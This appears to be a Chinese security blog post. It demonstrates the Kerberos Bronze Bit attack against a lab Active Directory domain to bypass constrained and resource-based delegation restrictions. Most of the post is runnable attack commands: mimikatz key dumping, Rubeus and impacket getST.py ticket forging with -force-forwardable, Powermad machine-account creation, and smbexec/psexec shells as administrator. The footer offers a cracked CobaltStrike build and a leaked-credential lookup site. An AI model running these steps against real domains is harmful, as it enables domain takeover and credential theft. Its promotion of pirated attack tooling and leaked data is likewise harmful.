查看原文
其他

Kerberos Bronze Bit Attack 绕过约束/资源委派限制

刨洞安全团队 刨洞安全团队 2023-11-08

该漏洞解决了两个问题

1.禁止协议转换/协议过渡
2.受保护的用户和敏感用户不能被委派

具体设置表现为DC上设置Service1计算机账户为“仅使用Kerberos”而非“使用任何身份验证协议”

域环境

DC:WIN-5CHMN9C4UES.YAYI.local (Windows Server 2012)

域内两台机器:
one2008.YAYI.local (Windows Server 2008)
WIN-BMIO66D4K15.YAYI.local (Windows 7)

域用户:
fwwr
joke

传统的约束委派绕过

服务用户:

委派对象:WIN-5CHMN9C4UES.YAYI.local

常规的约束委派利用:

1. 得到约束委派机器的用户凭证
2. 发现委派用户委派的目标机器
3. 获取RC4利用

powerview 查看约束委派的机器:

Get-DomainComputer -TrustedToAuth -Properties distinguishedname,msds-allowedtodelegateto | fl

Rubeus 一条命令实现约束委派:

Rubeus.exe s4u /user:fwwr /domain:YAYI.local /rc4:ca69e7f0f02d9156d1616ba6abd395b6 /impersonateuser:administrator /msdsspn:"dhcp/WIN-5CHMN9C4UES.YAYI.local/YAYI.local" /altservice:cifs /ptt

由于用户设置了 "敏感用户,不能被委派",将造成失败

使用新版 impacket 绕过:(截至最新版本:0.9.22),最低版本要求:(0.9.21)

先登录 one2008 机器用 mimikatz 获取 AES 和 RC4

privilege::debug
sekurlsa::"ekeys"

获取 TGT 导入 smbexec 连接

python3 getST.py -spn cifs/WIN-5CHMN9C4UES.YAYI.local -impersonate administrator -hashes AAD3B435B51404EEAAD3B435B51404EE:0adce35e9d541588782a98fe1fce59cf -aesKey 56f41eb095b4099b27934963200180321742c6f89db55bff02495b22b17afe69 YAYI.local/one2008 -force-forwardable
export KRB5CCNAME=administrator.ccache
sudo python3 smbexec.py -no-pass -k WIN-5CHMN9C4UES.YAYI.loca

基于资源的约束委派绕过

先配置环境,首先删除上一步 service1 的委派权限

用 adsi 编辑器赋予域用户 joke 对 one2008 写入权限

joke 用户可登录 WIN-BMIO66D4K15,登录进去后

过 powermad 新加入一个计算机账户 AttackerService,密码为 AttackerServicePassword

Import-Module .\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

用 mimikatz 计算出 hash

使用 PowerShell Active Directory 模块添加基于资源的约束委派,即从AttackerService 到 one2008 的传入信任关系

Import-Module .\Microsoft.ActiveDirectory.Management.dll
Get-ADComputer AttackerService #确认机器账户已经被添加
Set-ADComputer one2008 -PrincipalsAllowedToDelegateToAccount AttackerService$ #设置域用户到目标机器
Get-ADComputer one2008 -Properties PrincipalsAllowedToDelegateToAccount #查看机器

验证用户是否成功委派到目标机器

Get-DomainUser -Identity <user> -Properties objectsid #获取某个用户的SID
Get-DomainObjectAcl -Identity one2008.YAYI.local  | ?{$_.SecurityIdentifier -match "S-1-5-21-2799505025-1944254007-2887416074-1618"#查询某个机子的AC

可以看到现在对 One2008.YAYI.local 有完全的控制权限,直接申请 TGT 远程连接即可(这里的 RC4 和 AES key 是上面的 mimikatz 获取的)

python3 getST.py -spn cifs/one2008.YAYI.local -impersonate administrator -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 537056f14b0f81bc6e4be6ddba7786efdadb813c61ed5a6dce1b YAYI.local/AttackerService -force-forwardable
export KRB5CCNAME=administrator.ccache
python3 psexec.py -no-pass -k one2008.YAYI.local

参考链接https://y4er.com/post/kerberos-bronze-bit-attack/


关注公众号后台回复 0001 领取域渗透思维导图,0002 领取VMware 17永久激活码,0003 获取SGK地址,0004 获取在线ChatGPT地址,0005 获取 Windows10渗透集成环境,0006 获取 CobaltStrike 4.9破解版


加我微信好友,邀请你进交流群





往期推荐



KKCMS 1.371 代码审计

Java审计之CMS中的那些反序列化漏洞

日常记录对某站点的实战渗透

Subconverter订阅转换RCE漏洞

D-Link DAP-X1860:远程命令注入

国产之光IDE,自带国产特色VIP功能!

某CDN疑似被投毒!

红队标准手册

记一次从外网到拿下域控

iVMS-8700综合安防管理平台代码审计

基于Caddy实现的C2前置代理 - RedCaddy

某国zf的一次渗透

关于GOIP设备的勘验和服务器渗透实战

备用号,欢迎关注


继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存